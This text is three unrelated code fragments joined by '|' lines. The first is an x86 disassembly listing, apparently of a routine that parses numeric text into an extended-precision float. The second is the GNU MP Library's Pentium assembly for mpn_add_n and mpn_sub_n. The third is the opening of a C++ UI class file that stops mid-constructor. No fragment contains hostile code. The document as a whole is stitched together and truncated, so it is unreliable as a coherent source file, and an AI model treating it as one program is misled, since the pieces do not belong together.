1000af70: e9 14 01 00 00 jmp 0x1000b089
1000af75: 89 75 a8 mov DWORD PTR [ebp-0x58],esi
1000af78: eb 1a jmp 0x1000af94
1000af7a: 3c 39 cmp al,0x39
1000af7c: 7f 1a jg 0x1000af98
1000af7e: 83 7d b4 19 cmp DWORD PTR [ebp-0x4c],0x19
1000af82: 73 0a jae 0x1000af8e
1000af84: ff 45 b4 inc DWORD PTR [ebp-0x4c]
1000af87: 2a c3 sub al,bl
1000af89: 88 07 mov BYTE PTR [edi],al
1000af8b: 47 inc edi
1000af8c: eb 03 jmp 0x1000af91
1000af8e: ff 45 b0 inc DWORD PTR [ebp-0x50]
1000af91: 8a 02 mov al,BYTE PTR [edx]
1000af93: 42 inc edx
1000af94: 3a c3 cmp al,bl
1000af96: 7d e2 jge 0x1000af7a
1000af98: 8b 4d 24 mov ecx,DWORD PTR [ebp+0x24]
1000af9b: 8b 09 mov ecx,DWORD PTR [ecx]
1000af9d: 8b 89 bc 00 00 00 mov ecx,DWORD PTR [ecx+0xbc]
1000afa3: 8b 09 mov ecx,DWORD PTR [ecx]
1000afa5: 3a 01 cmp al,BYTE PTR [ecx]
1000afa7: 0f 84 5d ff ff ff je 0x1000af0a
1000afad: 3c 2b cmp al,0x2b
1000afaf: 74 89 je 0x1000af3a
1000afb1: 3c 2d cmp al,0x2d
1000afb3: 74 85 je 0x1000af3a
1000afb5: e9 60 ff ff ff jmp 0x1000af1a
1000afba: 83 7d b4 00 cmp DWORD PTR [ebp-0x4c],0x0
1000afbe: 89 75 a8 mov DWORD PTR [ebp-0x58],esi
1000afc1: 89 75 a4 mov DWORD PTR [ebp-0x5c],esi
1000afc4: 75 26 jne 0x1000afec
1000afc6: eb 06 jmp 0x1000afce
1000afc8: ff 4d b0 dec DWORD PTR [ebp-0x50]
1000afcb: 8a 02 mov al,BYTE PTR [edx]
1000afcd: 42 inc edx
1000afce: 3a c3 cmp al,bl
1000afd0: 74 f6 je 0x1000afc8
1000afd2: eb 18 jmp 0x1000afec
1000afd4: 3c 39 cmp al,0x39
1000afd6: 7f d5 jg 0x1000afad
1000afd8: 83 7d b4 19 cmp DWORD PTR [ebp-0x4c],0x19
1000afdc: 73 0b jae 0x1000afe9
1000afde: ff 45 b4 inc DWORD PTR [ebp-0x4c]
1000afe1: 2a c3 sub al,bl
1000afe3: 88 07 mov BYTE PTR [edi],al
1000afe5: 47 inc edi
1000afe6: ff 4d b0 dec DWORD PTR [ebp-0x50]
1000afe9: 8a 02 mov al,BYTE PTR [edx]
1000afeb: 42 inc edx
1000afec: 3a c3 cmp al,bl
1000afee: 7d e4 jge 0x1000afd4
1000aff0: eb bb jmp 0x1000afad
1000aff2: 2a c3 sub al,bl
1000aff4: 3c 09 cmp al,0x9
1000aff6: 89 75 a4 mov DWORD PTR [ebp-0x5c],esi
1000aff9: 0f 87 6e ff ff ff ja 0x1000af6d
1000afff: 6a 04 push 0x4
1000b001: e9 9e fe ff ff jmp 0x1000aea4
1000b006: 8d 4a fe lea ecx,[edx-0x2]
1000b009: 89 4d ac mov DWORD PTR [ebp-0x54],ecx
1000b00c: 8a c8 mov cl,al
1000b00e: 80 e9 31 sub cl,0x31
1000b011: 80 f9 08 cmp cl,0x8
1000b014: 77 07 ja 0x1000b01d
1000b016: 6a 09 push 0x9
1000b018: e9 87 fe ff ff jmp 0x1000aea4
1000b01d: 0f be c0 movsx eax,al
1000b020: 83 e8 2b sub eax,0x2b
1000b023: 74 20 je 0x1000b045
1000b025: 48 dec eax
1000b026: 48 dec eax
1000b027: 74 10 je 0x1000b039
1000b029: 83 e8 03 sub eax,0x3
1000b02c: 0f 85 3b ff ff ff jne 0x1000af6d
1000b032: 6a 08 push 0x8
1000b034: e9 82 fe ff ff jmp 0x1000aebb
1000b039: 83 4d 98 ff or DWORD PTR [ebp-0x68],0xffffffff
1000b03d: 6a 07 push 0x7
1000b03f: 59 pop ecx
1000b040: e9 40 fe ff ff jmp 0x1000ae85
1000b045: 6a 07 push 0x7
1000b047: e9 6f fe ff ff jmp 0x1000aebb
1000b04c: 89 75 a0 mov DWORD PTR [ebp-0x60],esi
1000b04f: eb 03 jmp 0x1000b054
1000b051: 8a 02 mov al,BYTE PTR [edx]
1000b053: 42 inc edx
1000b054: 3a c3 cmp al,bl
1000b056: 74 f9 je 0x1000b051
1000b058: 2c 31 sub al,0x31
1000b05a: 3c 08 cmp al,0x8
1000b05c: 76 b8 jbe 0x1000b016
1000b05e: 4a dec edx
1000b05f: eb 28 jmp 0x1000b089
1000b061: 8a c8 mov cl,al
1000b063: 80 e9 31 sub cl,0x31
1000b066: 80 f9 08 cmp cl,0x8
1000b069: 76 ab jbe 0x1000b016
1000b06b: 3a c3 cmp al,bl
1000b06d: eb bd jmp 0x1000b02c
1000b06f: 83 7d 20 00 cmp DWORD PTR [ebp+0x20],0x0
1000b073: 74 47 je 0x1000b0bc
1000b075: 0f be c0 movsx eax,al
1000b078: 83 e8 2b sub eax,0x2b
1000b07b: 8d 4a ff lea ecx,[edx-0x1]
1000b07e: 89 4d ac mov DWORD PTR [ebp-0x54],ecx
1000b081: 74 c2 je 0x1000b045
1000b083: 48 dec eax
1000b084: 48 dec eax
1000b085: 74 b2 je 0x1000b039
1000b087: 8b d1 mov edx,ecx
1000b089: 83 7d a8 00 cmp DWORD PTR [ebp-0x58],0x0
1000b08d: 8b 45 90 mov eax,DWORD PTR [ebp-0x70]
1000b090: 89 10 mov DWORD PTR [eax],edx
1000b092: 0f 84 a4 03 00 00 je 0x1000b43c
1000b098: 6a 18 push 0x18
1000b09a: 58 pop eax
1000b09b: 39 45 b4 cmp DWORD PTR [ebp-0x4c],eax
1000b09e: 76 10 jbe 0x1000b0b0
1000b0a0: 80 7d f7 05 cmp BYTE PTR [ebp-0x9],0x5
1000b0a4: 7c 03 jl 0x1000b0a9
1000b0a6: fe 45 f7 inc BYTE PTR [ebp-0x9]
1000b0a9: 4f dec edi
1000b0aa: ff 45 b0 inc DWORD PTR [ebp-0x50]
1000b0ad: 89 45 b4 mov DWORD PTR [ebp-0x4c],eax
1000b0b0: 83 7d b4 00 cmp DWORD PTR [ebp-0x4c],0x0
1000b0b4: 0f 86 a9 03 00 00 jbe 0x1000b463
1000b0ba: eb 59 jmp 0x1000b115
1000b0bc: 6a 0a push 0xa
1000b0be: 59 pop ecx
1000b0bf: 4a dec edx
1000b0c0: 83 f9 0a cmp ecx,0xa
1000b0c3: 0f 85 bc fd ff ff jne 0x1000ae85
1000b0c9: eb be jmp 0x1000b089
1000b0cb: 89 75 a0 mov DWORD PTR [ebp-0x60],esi
1000b0ce: 33 c9 xor ecx,ecx
1000b0d0: eb 19 jmp 0x1000b0eb
1000b0d2: 3c 39 cmp al,0x39
1000b0d4: 7f 20 jg 0x1000b0f6
1000b0d6: 6b c9 0a imul ecx,ecx,0xa
1000b0d9: 0f be f0 movsx esi,al
1000b0dc: 8d 4c 31 d0 lea ecx,[ecx+esi*1-0x30]
1000b0e0: 81 f9 50 14 00 00 cmp ecx,0x1450
1000b0e6: 7f 09 jg 0x1000b0f1
1000b0e8: 8a 02 mov al,BYTE PTR [edx]
1000b0ea: 42 inc edx
1000b0eb: 3a c3 cmp al,bl
1000b0ed: 7d e3 jge 0x1000b0d2
1000b0ef: eb 05 jmp 0x1000b0f6
1000b0f1: b9 51 14 00 00 mov ecx,0x1451
1000b0f6: 89 4d 9c mov DWORD PTR [ebp-0x64],ecx
1000b0f9: eb 0b jmp 0x1000b106
1000b0fb: 3c 39 cmp al,0x39
1000b0fd: 0f 8f 5b ff ff ff jg 0x1000b05e
1000b103: 8a 02 mov al,BYTE PTR [edx]
1000b105: 42 inc edx
1000b106: 3a c3 cmp al,bl
1000b108: 7d f1 jge 0x1000b0fb
1000b10a: e9 4f ff ff ff jmp 0x1000b05e
1000b10f: ff 4d b4 dec DWORD PTR [ebp-0x4c]
1000b112: ff 45 b0 inc DWORD PTR [ebp-0x50]
1000b115: 4f dec edi
1000b116: 80 3f 00 cmp BYTE PTR [edi],0x0
1000b119: 74 f4 je 0x1000b10f
1000b11b: 8d 45 c4 lea eax,[ebp-0x3c]
1000b11e: 50 push eax
1000b11f: ff 75 b4 push DWORD PTR [ebp-0x4c]
1000b122: 8d 45 e0 lea eax,[ebp-0x20]
1000b125: 50 push eax
1000b126: e8 e2 17 00 00 call 0x1000c90d
1000b12b: 8b 45 9c mov eax,DWORD PTR [ebp-0x64]
1000b12e: 33 c9 xor ecx,ecx
1000b130: 83 c4 0c add esp,0xc
1000b133: 39 4d 98 cmp DWORD PTR [ebp-0x68],ecx
1000b136: 7d 02 jge 0x1000b13a
1000b138: f7 d8 neg eax
1000b13a: 03 45 b0 add eax,DWORD PTR [ebp-0x50]
1000b13d: 39 4d a0 cmp DWORD PTR [ebp-0x60],ecx
1000b140: 75 03 jne 0x1000b145
1000b142: 03 45 18 add eax,DWORD PTR [ebp+0x18]
1000b145: 39 4d a4 cmp DWORD PTR [ebp-0x5c],ecx
1000b148: 75 03 jne 0x1000b14d
1000b14a: 2b 45 1c sub eax,DWORD PTR [ebp+0x1c]
1000b14d: 3d 50 14 00 00 cmp eax,0x1450
1000b152: 0f 8f ed 02 00 00 jg 0x1000b445
1000b158: 3d b0 eb ff ff cmp eax,0xffffebb0
1000b15d: 0f 8c f9 02 00 00 jl 0x1000b45c
1000b163: be a0 0c 01 10 mov esi,0x10010ca0
1000b168: 83 ee 60 sub esi,0x60
1000b16b: 3b c1 cmp eax,ecx
1000b16d: 89 45 ac mov DWORD PTR [ebp-0x54],eax
1000b170: 0f 84 b4 02 00 00 je 0x1000b42a
1000b176: 7d 0d jge 0x1000b185
1000b178: f7 d8 neg eax
1000b17a: be 00 0e 01 10 mov esi,0x10010e00
1000b17f: 89 45 ac mov DWORD PTR [ebp-0x54],eax
1000b182: 83 ee 60 sub esi,0x60
1000b185: 39 4d 14 cmp DWORD PTR [ebp+0x14],ecx
1000b188: 75 04 jne 0x1000b18e
1000b18a: 66 89 4d c4 mov WORD PTR [ebp-0x3c],cx
1000b18e: 39 4d ac cmp DWORD PTR [ebp-0x54],ecx
1000b191: 0f 84 93 02 00 00 je 0x1000b42a
1000b197: 8b 45 ac mov eax,DWORD PTR [ebp-0x54]
1000b19a: c1 7d ac 03 sar DWORD PTR [ebp-0x54],0x3
1000b19e: 83 c6 54 add esi,0x54
1000b1a1: 83 e0 07 and eax,0x7
1000b1a4: 85 c0 test eax,eax
1000b1a6: 89 75 b4 mov DWORD PTR [ebp-0x4c],esi
1000b1a9: 0f 84 71 02 00 00 je 0x1000b420
1000b1af: 6b c0 0c imul eax,eax,0xc
1000b1b2: 03 c6 add eax,esi
1000b1b4: 8b d8 mov ebx,eax
1000b1b6: 66 81 3b 00 80 cmp WORD PTR [ebx],0x8000
1000b1bb: 89 5d 90 mov DWORD PTR [ebp-0x70],ebx
1000b1be: 72 14 jb 0x1000b1d4
1000b1c0: 8b f3 mov esi,ebx
1000b1c2: 8d 7d b8 lea edi,[ebp-0x48]
1000b1c5: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
1000b1c6: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
1000b1c7: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
1000b1c8: ff 4d ba dec DWORD PTR [ebp-0x46]
1000b1cb: 8b 75 b4 mov esi,DWORD PTR [ebp-0x4c]
1000b1ce: 8d 5d b8 lea ebx,[ebp-0x48]
1000b1d1: 89 5d 90 mov DWORD PTR [ebp-0x70],ebx
1000b1d4: 0f b7 53 0a movzx edx,WORD PTR [ebx+0xa]
1000b1d8: 8b 4d ce mov ecx,DWORD PTR [ebp-0x32]
1000b1db: 33 c0 xor eax,eax
1000b1dd: 89 45 b0 mov DWORD PTR [ebp-0x50],eax
1000b1e0: 89 45 d4 mov DWORD PTR [ebp-0x2c],eax
1000b1e3: 89 45 d8 mov DWORD PTR [ebp-0x28],eax
1000b1e6: 89 45 dc mov DWORD PTR [ebp-0x24],eax
1000b1e9: 8b c2 mov eax,edx
1000b1eb: bf ff 7f 00 00 mov edi,0x7fff
1000b1f0: 33 c1 xor eax,ecx
1000b1f2: 23 cf and ecx,edi
1000b1f4: 23 d7 and edx,edi
1000b1f6: 25 00 80 00 00 and eax,0x8000
1000b1fb: 66 81 f9 ff 7f cmp cx,0x7fff
1000b200: 8d 3c 0a lea edi,[edx+ecx*1]
1000b203: 0f b7 ff movzx edi,di
1000b206: 0f 83 fa 01 00 00 jae 0x1000b406
1000b20c: 66 81 fa ff 7f cmp dx,0x7fff
1000b211: 0f 83 ef 01 00 00 jae 0x1000b406
1000b217: 66 81 ff fd bf cmp di,0xbffd
1000b21c: 0f 87 e4 01 00 00 ja 0x1000b406
1000b222: 66 81 ff bf 3f cmp di,0x3fbf
1000b227: 77 0d ja 0x1000b236
1000b229: 33 c0 xor eax,eax
1000b22b: 89 45 c8 mov DWORD PTR [ebp-0x38],eax
1000b22e: 89 45 c4 mov DWORD PTR [ebp-0x3c],eax
1000b231: e9 e7 01 00 00 jmp 0x1000b41d
1000b236: 66 85 c9 test cx,cx
1000b239: 75 1f jne 0x1000b25a
1000b23b: 47 inc edi
1000b23c: f7 45 cc ff ff ff 7f test DWORD PTR [ebp-0x34],0x7fffffff
1000b243: 75 15 jne 0x1000b25a
1000b245: 83 7d c8 00 cmp DWORD PTR [ebp-0x38],0x0
1000b249: 75 0f jne 0x1000b25a
1000b24b: 83 7d c4 00 cmp DWORD PTR [ebp-0x3c],0x0
1000b24f: 75 09 jne 0x1000b25a
1000b251: 66 21 4d ce and WORD PTR [ebp-0x32],cx
1000b255: e9 c6 01 00 00 jmp 0x1000b420
1000b25a: 33 c9 xor ecx,ecx
1000b25c: 66 3b d1 cmp dx,cx
1000b25f: 75 21 jne 0x1000b282
1000b261: 47 inc edi
1000b262: f7 43 08 ff ff ff 7f test DWORD PTR [ebx+0x8],0x7fffffff
1000b269: 75 17 jne 0x1000b282
1000b26b: 39 4b 04 cmp DWORD PTR [ebx+0x4],ecx
1000b26e: 75 12 jne 0x1000b282
1000b270: 39 0b cmp DWORD PTR [ebx],ecx
1000b272: 75 0e jne 0x1000b282
1000b274: 89 4d cc mov DWORD PTR [ebp-0x34],ecx
1000b277: 89 4d c8 mov DWORD PTR [ebp-0x38],ecx
1000b27a: 89 4d c4 mov DWORD PTR [ebp-0x3c],ecx
1000b27d: e9 9e 01 00 00 jmp 0x1000b420
1000b282: 21 4d 98 and DWORD PTR [ebp-0x68],ecx
1000b285: 8d 75 d8 lea esi,[ebp-0x28]
1000b288: c7 45 a8 05 00 00 00 mov DWORD PTR [ebp-0x58],0x5
1000b28f: 8b 4d 98 mov ecx,DWORD PTR [ebp-0x68]
1000b292: 8b 55 a8 mov edx,DWORD PTR [ebp-0x58]
1000b295: 03 c9 add ecx,ecx
1000b297: 85 d2 test edx,edx
1000b299: 89 55 9c mov DWORD PTR [ebp-0x64],edx
1000b29c: 7e 55 jle 0x1000b2f3
1000b29e: 8d 4c 0d c4 lea ecx,[ebp+ecx*1-0x3c]
1000b2a2: 83 c3 08 add ebx,0x8
1000b2a5: 89 4d a4 mov DWORD PTR [ebp-0x5c],ecx
1000b2a8: 89 5d a0 mov DWORD PTR [ebp-0x60],ebx
1000b2ab: 8b 4d a0 mov ecx,DWORD PTR [ebp-0x60]
1000b2ae: 8b 55 a4 mov edx,DWORD PTR [ebp-0x5c]
1000b2b1: 0f b7 12 movzx edx,WORD PTR [edx]
1000b2b4: 0f b7 09 movzx ecx,WORD PTR [ecx]
1000b2b7: 83 65 88 00 and DWORD PTR [ebp-0x78],0x0
1000b2bb: 0f af ca imul ecx,edx
1000b2be: 8b 56 fc mov edx,DWORD PTR [esi-0x4]
1000b2c1: 8d 1c 0a lea ebx,[edx+ecx*1]
1000b2c4: 3b da cmp ebx,edx
1000b2c6: 72 04 jb 0x1000b2cc
1000b2c8: 3b d9 cmp ebx,ecx
1000b2ca: 73 07 jae 0x1000b2d3
1000b2cc: c7 45 88 01 00 00 00 mov DWORD PTR [ebp-0x78],0x1
1000b2d3: 83 7d 88 00 cmp DWORD PTR [ebp-0x78],0x0
1000b2d7: 89 5e fc mov DWORD PTR [esi-0x4],ebx
1000b2da: 74 03 je 0x1000b2df
1000b2dc: 66 ff 06 inc WORD PTR [esi]
1000b2df: 83 45 a4 02 add DWORD PTR [ebp-0x5c],0x2
1000b2e3: 83 6d a0 02 sub DWORD PTR [ebp-0x60],0x2
1000b2e7: ff 4d 9c dec DWORD PTR [ebp-0x64]
1000b2ea: 83 7d 9c 00 cmp DWORD PTR [ebp-0x64],0x0
1000b2ee: 7f bb jg 0x1000b2ab
1000b2f0: 8b 5d 90 mov ebx,DWORD PTR [ebp-0x70]
1000b2f3: 46 inc esi
1000b2f4: 46 inc esi
1000b2f5: ff 45 98 inc DWORD PTR [ebp-0x68]
1000b2f8: ff 4d a8 dec DWORD PTR [ebp-0x58]
1000b2fb: 83 7d a8 00 cmp DWORD PTR [ebp-0x58],0x0
1000b2ff: 7f 8e jg 0x1000b28f
1000b301: 81 c7 02 c0 00 00 add edi,0xc002
1000b307: 66 85 ff test di,di
1000b30a: 7e 3b jle 0x1000b347
1000b30c: f7 45 dc 00 00 00 80 test DWORD PTR [ebp-0x24],0x80000000
1000b313: 75 2d jne 0x1000b342
1000b315: 8b 75 d8 mov esi,DWORD PTR [ebp-0x28]
1000b318: 8b 4d d4 mov ecx,DWORD PTR [ebp-0x2c]
1000b31b: d1 65 d4 shl DWORD PTR [ebp-0x2c],1
1000b31e: c1 e9 1f shr ecx,0x1f
1000b321: 8b d6 mov edx,esi
1000b323: 03 f6 add esi,esi
1000b325: 0b f1 or esi,ecx
1000b327: 8b 4d dc mov ecx,DWORD PTR [ebp-0x24]
1000b32a: c1 ea 1f shr edx,0x1f
1000b32d: 03 c9 add ecx,ecx
1000b32f: 0b ca or ecx,edx
1000b331: 81 c7 ff ff 00 00 add edi,0xffff
1000b337: 66 85 ff test di,di
1000b33a: 89 75 d8 mov DWORD PTR [ebp-0x28],esi
1000b33d: 89 4d dc mov DWORD PTR [ebp-0x24],ecx
1000b340: 7f ca jg 0x1000b30c
1000b342: 66 85 ff test di,di
1000b345: 7f 4d jg 0x1000b394
1000b347: 81 c7 ff ff 00 00 add edi,0xffff
1000b34d: 66 85 ff test di,di
1000b350: 7d 42 jge 0x1000b394
1000b352: 8b cf mov ecx,edi
1000b354: f7 d9 neg ecx
1000b356: 0f b7 f1 movzx esi,cx
1000b359: 03 fe add edi,esi
1000b35b: f6 45 d4 01 test BYTE PTR [ebp-0x2c],0x1
1000b35f: 74 03 je 0x1000b364
1000b361: ff 45 b0 inc DWORD PTR [ebp-0x50]
1000b364: 8b 4d dc mov ecx,DWORD PTR [ebp-0x24]
1000b367: 8b 5d d8 mov ebx,DWORD PTR [ebp-0x28]
1000b36a: 8b 55 d8 mov edx,DWORD PTR [ebp-0x28]
1000b36d: d1 6d dc shr DWORD PTR [ebp-0x24],1
1000b370: c1 e1 1f shl ecx,0x1f
1000b373: d1 eb shr ebx,1
1000b375: 0b d9 or ebx,ecx
1000b377: 8b 4d d4 mov ecx,DWORD PTR [ebp-0x2c]
1000b37a: c1 e2 1f shl edx,0x1f
1000b37d: d1 e9 shr ecx,1
1000b37f: 0b ca or ecx,edx
1000b381: 4e dec esi
1000b382: 89 5d d8 mov DWORD PTR [ebp-0x28],ebx
1000b385: 89 4d d4 mov DWORD PTR [ebp-0x2c],ecx
1000b388: 75 d1 jne 0x1000b35b
1000b38a: 39 75 b0 cmp DWORD PTR [ebp-0x50],esi
1000b38d: 74 05 je 0x1000b394
1000b38f: 66 83 4d d4 01 or WORD PTR [ebp-0x2c],0x1
1000b394: 66 81 7d d4 00 80 cmp WORD PTR [ebp-0x2c],0x8000
1000b39a: 77 11 ja 0x1000b3ad
1000b39c: 8b 4d d4 mov ecx,DWORD PTR [ebp-0x2c]
1000b39f: 81 e1 ff ff 01 00 and ecx,0x1ffff
1000b3a5: 81 f9 00 80 01 00 cmp ecx,0x18000
1000b3ab: 75 33 jne 0x1000b3e0
1000b3ad: 83 7d d6 ff cmp DWORD PTR [ebp-0x2a],0xffffffff
1000b3b1: 75 2a jne 0x1000b3dd
1000b3b3: 83 65 d6 00 and DWORD PTR [ebp-0x2a],0x0
1000b3b7: 83 7d da ff cmp DWORD PTR [ebp-0x26],0xffffffff
1000b3bb: 75 1b jne 0x1000b3d8
1000b3bd: 83 65 da 00 and DWORD PTR [ebp-0x26],0x0
1000b3c1: 66 81 7d de ff ff cmp WORD PTR [ebp-0x22],0xffff
1000b3c7: 75 09 jne 0x1000b3d2
1000b3c9: 66 c7 45 de 00 80 mov WORD PTR [ebp-0x22],0x8000
1000b3cf: 47 inc edi
1000b3d0: eb 0e jmp 0x1000b3e0
1000b3d2: 66 ff 45 de inc WORD PTR [ebp-0x22]
1000b3d6: eb 08 jmp 0x1000b3e0
1000b3d8: ff 45 da inc DWORD PTR [ebp-0x26]
1000b3db: eb 03 jmp 0x1000b3e0
1000b3dd: ff 45 d6 inc DWORD PTR [ebp-0x2a]
1000b3e0: 66 81 ff ff 7f cmp di,0x7fff
1000b3e5: 8b 75 b4 mov esi,DWORD PTR [ebp-0x4c]
1000b3e8: 73 1c jae 0x1000b406
1000b3ea: 66 8b 4d d6 mov cx,WORD PTR [ebp-0x2a]
1000b3ee: 66 89 4d c4 mov WORD PTR [ebp-0x3c],cx
1000b3f2: 8b 4d d8 mov ecx,DWORD PTR [ebp-0x28]
1000b3f5: 89 4d c6 mov DWORD PTR [ebp-0x3a],ecx
1000b3f8: 8b 4d dc mov ecx,DWORD PTR [ebp-0x24]
1000b3fb: 0b f8 or edi,eax
1000b3fd: 89 4d ca mov DWORD PTR [ebp-0x36],ecx
1000b400: 66 89 7d ce mov WORD PTR [ebp-0x32],di
1000b404: eb 1a jmp 0x1000b420
1000b406: 66 f7 d8 neg ax
1000b409: 1b c0 sbb eax,eax
1000b40b: 83 65 c8 00 and DWORD PTR [ebp-0x38],0x0
1000b40f: 25 00 00 00 80 and eax,0x80000000
1000b414: 05 00 80 ff 7f add eax,0x7fff8000
1000b419: 83 65 c4 00 and DWORD PTR [ebp-0x3c],0x0
1000b41d: 89 45 cc mov DWORD PTR [ebp-0x34],eax
1000b420: 83 7d ac 00 cmp DWORD PTR [ebp-0x54],0x0
1000b424: 0f 85 6d fd ff ff jne 0x1000b197
1000b42a: 8b 45 cc mov eax,DWORD PTR [ebp-0x34]
1000b42d: 0f b7 4d c4 movzx ecx,WORD PTR [ebp-0x3c]
1000b431: 8b 75 c6 mov esi,DWORD PTR [ebp-0x3a]
1000b434: 8b 55 ca mov edx,DWORD PTR [ebp-0x36]
1000b437: c1 e8 10 shr eax,0x10
1000b43a: eb 2f jmp 0x1000b46b
1000b43c: c7 45 94 04 00 00 00 mov DWORD PTR [ebp-0x6c],0x4
1000b443: eb 1e jmp 0x1000b463
1000b445: 33 f6 xor esi,esi
1000b447: b8 ff 7f 00 00 mov eax,0x7fff
1000b44c: ba 00 00 00 80 mov edx,0x80000000
1000b451: 33 c9 xor ecx,ecx
1000b453: c7 45 94 02 00 00 00 mov DWORD PTR [ebp-0x6c],0x2
1000b45a: eb 0f jmp 0x1000b46b
1000b45c: c7 45 94 01 00 00 00 mov DWORD PTR [ebp-0x6c],0x1
1000b463: 33 c9 xor ecx,ecx
1000b465: 33 c0 xor eax,eax
1000b467: 33 d2 xor edx,edx
1000b469: 33 f6 xor esi,esi
1000b46b: 8b 7d 84 mov edi,DWORD PTR [ebp-0x7c]
1000b46e: 0b 45 8c or eax,DWORD PTR [ebp-0x74]
1000b471: 66 89 0f mov WORD PTR [edi],cx
1000b474: 66 89 47 0a mov WORD PTR [edi+0xa],ax
1000b478: 8b 45 94 mov eax,DWORD PTR [ebp-0x6c]
1000b47b: 89 77 02 mov DWORD PTR [edi+0x2],esi
1000b47e: 89 57 06 mov DWORD PTR [edi+0x6],edx
1000b481: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
1000b484: 5f pop edi
1000b485: 5e pop esi
1000b486: 33 cd xor ecx,ebp
1000b488: 5b pop ebx
1000b489: e8 8d 86 ff ff call 0x10003b1b
1000b48e: c9 leave
1000b48f: c3 ret
; There's a switch/case somewhere!
1000b490: 98 ae 00 10
1000b494: ec ae 00 10
1000b498: 42 af 00 10
1000b49c: 75 af 00 10
1000b4a0: ba af 00 10
1000b4a4: f2 af 00 10
1000b4a8: 06 b0 00 10
1000b4ac: 61 b0 00 10
1000b4b0: 4c b0 00 10
1000b4b4: cb b0 00 10
1000b4b8: c0 b0 00 10
1000b4bc: 6f b0 00 10
|
dnl Intel Pentium mpn_add_n/mpn_sub_n -- mpn addition and subtraction.
dnl
dnl P5: 2.375 cycles/limb
dnl Copyright (C) 1992, 1994, 1995, 1996, 1999, 2000 Free Software
dnl Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 59 Temple Place -
dnl Suite 330, Boston, MA 02111-1307, USA.
include(`../config.m4')
ifdef(`OPERATION_add_n',`
define(M4_inst, adcl)
define(M4_function_n, mpn_add_n)
define(M4_function_nc, mpn_add_nc)
',`ifdef(`OPERATION_sub_n',`
define(M4_inst, sbbl)
define(M4_function_n, mpn_sub_n)
define(M4_function_nc, mpn_sub_nc)
',`m4_error(`Need OPERATION_add_n or OPERATION_sub_n
')')')
MULFUNC_PROLOGUE(mpn_add_n mpn_add_nc mpn_sub_n mpn_sub_nc)
C mp_limb_t M4_function_n (mp_ptr dst, mp_srcptr src1, mp_srcptr src2,
C mp_size_t size);
C mp_limb_t M4_function_nc (mp_ptr dst, mp_srcptr src1, mp_srcptr src2,
C mp_size_t size, mp_limb_t carry);
defframe(PARAM_CARRY,20)
defframe(PARAM_SIZE, 16)
defframe(PARAM_SRC2, 12)
defframe(PARAM_SRC1, 8)
defframe(PARAM_DST, 4)
.text
ALIGN(8)
PROLOGUE(M4_function_nc)
pushl %edi
pushl %esi
pushl %ebx
pushl %ebp
deflit(`FRAME',16)
movl PARAM_DST,%edi
movl PARAM_SRC1,%esi
movl PARAM_SRC2,%ebp
movl PARAM_SIZE,%ecx
movl (%ebp),%ebx
decl %ecx
movl %ecx,%edx
shrl $3,%ecx
andl $7,%edx
testl %ecx,%ecx C zero carry flag
jz L(endgo)
pushl %edx
FRAME_pushl()
movl PARAM_CARRY,%eax
shrl $1,%eax C shift bit 0 into carry
jmp LF(M4_function_n,oop)
L(endgo):
deflit(`FRAME',16)
movl PARAM_CARRY,%eax
shrl $1,%eax C shift bit 0 into carry
jmp LF(M4_function_n,end)
EPILOGUE()
ALIGN(8)
PROLOGUE(M4_function_n)
pushl %edi
pushl %esi
pushl %ebx
pushl %ebp
deflit(`FRAME',16)
movl PARAM_DST,%edi
movl PARAM_SRC1,%esi
movl PARAM_SRC2,%ebp
movl PARAM_SIZE,%ecx
movl (%ebp),%ebx
decl %ecx
movl %ecx,%edx
shrl $3,%ecx
andl $7,%edx
testl %ecx,%ecx C zero carry flag
jz L(end)
pushl %edx
FRAME_pushl()
ALIGN(8)
L(oop): movl 28(%edi),%eax C fetch destination cache line
leal 32(%edi),%edi
L(1): movl (%esi),%eax
movl 4(%esi),%edx
M4_inst %ebx,%eax
movl 4(%ebp),%ebx
M4_inst %ebx,%edx
movl 8(%ebp),%ebx
movl %eax,-32(%edi)
movl %edx,-28(%edi)
L(2): movl 8(%esi),%eax
movl 12(%esi),%edx
M4_inst %ebx,%eax
movl 12(%ebp),%ebx
M4_inst %ebx,%edx
movl 16(%ebp),%ebx
movl %eax,-24(%edi)
movl %edx,-20(%edi)
L(3): movl 16(%esi),%eax
movl 20(%esi),%edx
M4_inst %ebx,%eax
movl 20(%ebp),%ebx
M4_inst %ebx,%edx
movl 24(%ebp),%ebx
movl %eax,-16(%edi)
movl %edx,-12(%edi)
L(4): movl 24(%esi),%eax
movl 28(%esi),%edx
M4_inst %ebx,%eax
movl 28(%ebp),%ebx
M4_inst %ebx,%edx
movl 32(%ebp),%ebx
movl %eax,-8(%edi)
movl %edx,-4(%edi)
leal 32(%esi),%esi
leal 32(%ebp),%ebp
decl %ecx
jnz L(oop)
popl %edx
FRAME_popl()
L(end):
decl %edx C test %edx w/o clobbering carry
js L(end2)
incl %edx
L(oop2):
leal 4(%edi),%edi
movl (%esi),%eax
M4_inst %ebx,%eax
movl 4(%ebp),%ebx
movl %eax,-4(%edi)
leal 4(%esi),%esi
leal 4(%ebp),%ebp
decl %edx
jnz L(oop2)
L(end2):
movl (%esi),%eax
M4_inst %ebx,%eax
movl %eax,(%edi)
sbbl %eax,%eax
negl %eax
popl %ebp
popl %ebx
popl %esi
popl %edi
ret
EPILOGUE()
|
#include "c3.h"
#include "c3_static.h"
#include "aui.h"
#include "aui_ldl.h"
#include "aui_ui.h"
#include "aui_window.h"
#include "aui_gamespecific.h"
#include "patternbase.h"
#include "pattern.h"
#include "primitives.h"
#include "colorset.h" // g_colorSet
#include "ldl_data.hpp"
extern aui_UI *g_ui;
c3_Static::c3_Static
(
AUI_ERRCODE * retval,
uint32 id,
MBCHAR * ldlBlock
)
:
